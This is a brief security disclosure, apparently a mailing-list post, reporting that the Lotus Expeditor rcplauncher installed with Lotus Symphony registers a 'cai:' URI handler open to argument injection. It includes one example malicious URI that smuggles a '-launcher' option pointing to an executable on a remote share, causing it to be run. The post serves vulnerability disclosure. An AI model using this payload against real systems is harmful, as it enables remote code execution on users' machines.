Hello, I have found that the lotus expeditor rcplauncher as installed by lotus symphony and possibly other products, registers a cai: uri handler. This handler executes "D:\Program Files\IBM\Lotus\Symphony\framework\rcp\rcplauncher.exe" -config notes -com.ibm.rcp.portal.app.ui#openCA "%1" the rcplauncher process accepts various arguments which can be abused to execute arbitrary code. The argument to the -launcher option for example is an executable that will be executed. malicious uri example: cai:"%20-launcher%20\\6.6.6.6\d$\trojan Regards, Thomas Pollet
